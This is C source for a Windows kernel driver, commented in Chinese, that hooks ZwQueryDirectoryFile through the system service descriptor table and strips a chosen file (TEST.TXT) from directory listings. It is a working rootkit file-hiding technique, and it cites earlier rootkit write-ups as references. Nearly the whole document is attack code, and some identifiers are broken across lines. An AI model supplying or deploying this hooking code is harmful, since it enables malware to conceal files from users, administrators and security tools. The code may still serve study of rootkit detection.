/*********************************************************
查找目录/文件操作系统最终调用native api ZwQueryDirectoryFile,
因此拦截此函数可以达到隐藏文件/目录的目的。
*********************************************************/
/*********************************************************
参考
<隐藏任意进程,目录/文件,注册表,端口> sinister whitecell
<再谈Windows NT_2000内部数据结构> webcrazy
regmon source code www.sysinternals.com
*********************************************************/
/*********************************************************
这仅仅是一个简单的例子,
lode 这个驱动前可以在任意目录下建立一个TEST.TXT,
load该驱动后该文件被隐藏
*********************************************************/
#include "ntddk.h"
#include "stdarg.h"
#include "stdio.h"
//----------------------------------------------------------------------
// DEFINES
//----------------------------------------------------------------------
#if DBG
#define DbgPrint(arg) DbgPrint arg
#else
#define DbgPrint(arg)
#endif
//
//32768-65535 are reserved for use by customers
//
#define FILE_DEVICE_HIDE 0x00008305
//
//available only on x86 now
//
#define SYSCALL(_function) ServiceTable->ServiceTable[ *(PULONG)((PUCHAR)_fun
ction+1)]
typedef unsigned long DWORD;
typedef unsigned short WORD;
typedef int BOOL;
//
//structure unopen, parameter into ZwQueryDirectoryFile routine.
//God bless me it will not be changed.ms is shit...
//
typedef struct _FILETIME
{
DWORD dwLowDateTime;
DWORD dwHighDateTime;
} FILETIME;
typedef struct _DirEntry
{
DWORD dwLenToNext;
DWORD dwAttr;
FILETIME ftCreate, ftLastAccess, ftLastWrite;
DWORD dwUnknown[ 2 ];
DWORD dwFileSizeLow;
DWORD dwFileSizeHigh;
DWORD dwUnknown2[ 3 ];
WORD wNameLen;
WORD wUnknown;
DWORD dwUnknown3;
WORD wShortNameLen;
WCHAR swShortName[ 12 ];
WCHAR suName[ 1 ];
} DirEntry, *PDirEntry;
//
// Definition for system call service table
//
typedef struct _SRVTABLE {
PVOID *ServiceTable;
ULONG LowCall;
ULONG HiCall;
PVOID *ArgTable;
} SRVTABLE, *PSRVTABLE;
NTSTATUS (*RealZwQueryDirectoryFile)(
IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN bReturnOnlyOneEntry,
IN PUNICODE_STRING PathMask OPTIONAL,
IN BOOLEAN bRestartQuery);
//----------------------------------------------------------------------
// GLOBALS
//----------------------------------------------------------------------
//
// Pointer to system global service table
//
PSRVTABLE ServiceTable;
extern PSRVTABLE KeServiceDescriptorTable;
PDEVICE_OBJECT ControlDeviceObject;
//----------------------------------------------------------------------
// FORWARD DEFINES
//----------------------------------------------------------------------
NTSTATUS FilehideDispatch( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp );
VOID FilehideUnload( IN PDRIVER_OBJECT DriverObject );
NTSYSAPI
NTSTATUS
NTAPI ZwQueryDirectoryFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG Length,
IN FILE_INFORMATION_CLASS FileInformationClass,
IN BOOLEAN ReturnSingleEntry,
IN PUNICODE_STRING FileName OPTIONAL,
IN BOOLEAN RestartScan
);
//======================================================================
// H O O K R O U T I N E S
//======================================================================
//----------------------------------------------------------------------
//
// HookZwQueryDirectoryFile
//
//----------------------------------------------------------------------
NTSTATUS HookZwQueryDirectoryFile(
IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN bReturnOnlyOneEntry,
IN PUNICODE_STRING PathMask OPTIONAL,
IN BOOLEAN bRestartQuery)
{
NTSTATUS rc;
CHAR aProcessName[80];
ANSI_STRING ansiFileName,ansiDirName;
UNICODE_STRING uniFileName;
WCHAR ParentDirectory[1024] = {0};
int BytesReturned;
PVOID Object;
CHAR aFilehide[] = "TEST.TXT";
//
rc = (RealZwQueryDirectoryFile)(
hFile,
hEvent,
IoApcRoutine,
IoApcContext,
pIoStatusBlock,
FileInformationBuffer,
FileInformationBufferLength,
FileInfoClass,
bReturnOnlyOneEntry,
PathMask,
bRestartQuery);
if(NT_SUCCESS(rc))
{
PDirEntry p;
PDirEntry pLast;
BOOL bLastOne;
int found;
p = (PDirEntry)FileInformationBuffer;
pLast = NULL;
do
{
bLastOne = !( p->dwLenToNext );
RtlInitUnicodeString(&uniFileName,p->suName);
RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);
RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);
RtlUpperString(&ansiFileName,&ansiDirName);
found=0;
DbgPrint(("Filehide: RealZwQueryDirectoryFile %s\n",
ansiFileName.Buffer));
if( RtlCompareMemory( ansiFileName.Buffer, aFilehide,strlen(aFileh
ide) ) == strlen(aFilehide))
{
found=1;
}
if(found)
{
if(bLastOne)
{
if(p == (PDirEntry)FileInformationBuffer )
{
rc = 0x80000006; //hide
}
else
pLast->dwLenToNext = 0;
break;
}
else
{
int iPos = ((ULONG)p) - (ULONG)FileInformationBuffer;
int iLeft = (DWORD)FileInformationBufferLength - iPos
-p->dwLenToNext;
RtlCopyMemory( (PVOID)p, (PVOID)( (char *)p +
p->dwLenToNext ), (DWORD)iLeft );
continue;
}
}
pLast = p;
p = (PDirEntry)((char *)p + p->dwLenToNext );
}while( !bLastOne );
RtlFreeAnsiString(&ansiDirName);
RtlFreeAnsiString(&ansiFileName);
}
return(rc);
}
//----------------------------------------------------------------------
//
// Hook System Call
//
// Replaces entries in the system service table with pointers to
// our own hook routines. We save off the real routine addresses.
//
//----------------------------------------------------------------------
VOID HookSystemCall( void )
{
//
// Hook everything
//
RealZwQueryDirectoryFile = SYSCALL( ZwQueryDirectoryFile );
SYSCALL( ZwQueryDirectoryFile ) = (PVOID) HookZwQueryDirectoryFile;
}
//----------------------------------------------------------------------
//
// Unhook System Call
//
//----------------------------------------------------------------------
VOID UnhookSystemCall( )
{
//
// Unhook everything
//
SYSCALL( ZwQueryDirectoryFile ) = (PVOID) RealZwQueryDirectoryFile;
}
//----------------------------------------------------------------------
//
// FilehideDispatch
//
//----------------------------------------------------------------------
NTSTATUS FilehideDispatch( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
{
PIO_STACK_LOCATION irpStack;
//
// Go ahead and set the request up as successful
//
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
//
// Get a pointer to the current location in the Irp. This is where
// the function codes and parameters are located.
//
irpStack = IoGetCurrentIrpStackLocation (Irp);
switch (irpStack->MajorFunction) {
case IRP_MJ_CREATE:
DbgPrint(("Filehide: IRP_MJ_CREATE\n"));
break;
case IRP_MJ_SHUTDOWN:
DbgPrint(("Filehide: IRP_MJ_CREATE\n"));
break;
case IRP_MJ_CLOSE:
DbgPrint(("Filehide: IRP_MJ_CLOSE\n"));
break;
case IRP_MJ_DEVICE_CONTROL:
DbgPrint (("Filehide: IRP_MJ_DEVICE_CONTROL\n"));
break;
}
IoCompleteRequest( Irp, IO_NO_INCREMENT );
return STATUS_SUCCESS;
}
//----------------------------------------------------------------------
//
// RegmonUnload
//
// Our job is done - time to leave.
//
//----------------------------------------------------------------------
VOID FilehideUnload( IN PDRIVER_OBJECT DriverObject )
{
WCHAR deviceLinkBuffer[] = L"\\DosDevices\\Filehide";
UNICODE_STRING deviceLinkUnicodeString;
DbgPrint(("Filehide.SYS: unloading\n"));
//
// Unhook the system call
//
UnhookSystemCall();
//
// Delete the symbolic link for our device
//
RtlInitUnicodeString( &deviceLinkUnicodeString, deviceLinkBuffer );
IoDeleteSymbolicLink( &deviceLinkUnicodeString );
//
// Delete the device object
//
IoDeleteDevice( DriverObject->DeviceObject );
DbgPrint(("Filehide.SYS: deleted devices\n"));
}
//----------------------------------------------------------------------
//
// DriverEntry
//
// Installable driver initialization. Here we just set ourselves up.
//
//----------------------------------------------------------------------
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING
RegistryPath )
{
NTSTATUS ntStatus;
WCHAR deviceNameBuffer[] = L"\\Device\\Filehide";
UNICODE_STRING deviceNameUnicodeString;
WCHAR deviceLinkBuffer[] = L"\\DosDevices\\Filehide";
UNICODE_STRING deviceLinkUnicodeString;
DbgPrint (("Filehide.SYS: entering DriverEntry\n"));
//
// Setup our name and symbolic link
//
RtlInitUnicodeString (&deviceNameUnicodeString,
deviceNameBuffer );
RtlInitUnicodeString (&deviceLinkUnicodeString,
deviceLinkBuffer );
ntStatus = IoCreateDevice ( DriverObject,
0,
&deviceNameUnicodeString,
FILE_DEVICE_HIDE,
0,
TRUE,
&ControlDeviceObject );
if (NT_SUCCESS(ntStatus)) {
//
// Create a symbolic link that the GUI can specify to gain access
// to this driver/device
//
ntStatus = IoCreateSymbolicLink (&deviceLinkUnicodeString,
&deviceNameUnicodeString );
//
// Create dispatch points for all routines that must be handled
//
DriverObject->MajorFunction[IRP_MJ_SHUTDOWN] =
DriverObject->MajorFunction[IRP_MJ_CREATE] =
DriverObject->MajorFunction[IRP_MJ_CLOSE] =
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] =
FilehideDispatch;
#if DBG
DriverObject->DriverUnload = FilehideUnload;
#endif
}
if (!NT_SUCCESS(ntStatus)) {
DbgPrint(("Filehide: Failed to create our device!\n"));
//
// Something went wrong, so clean up (free resources etc)
//
if( ControlDeviceObject ) IoDeleteDevice( ControlDeviceObject );
IoDeleteSymbolicLink( &deviceLinkUnicodeString );
return ntStatus;
}
//
// Pointer to system table data structure is an NTOSKRNL export
//
ServiceTable = KeServiceDescriptorTable;
DbgPrint(("Filehide: Servicetable: %x\n", ServiceTable ));
HookSystemCall();
DbgPrint(("Filehide: Hook System Call"));
return STATUS_SUCCESS;
}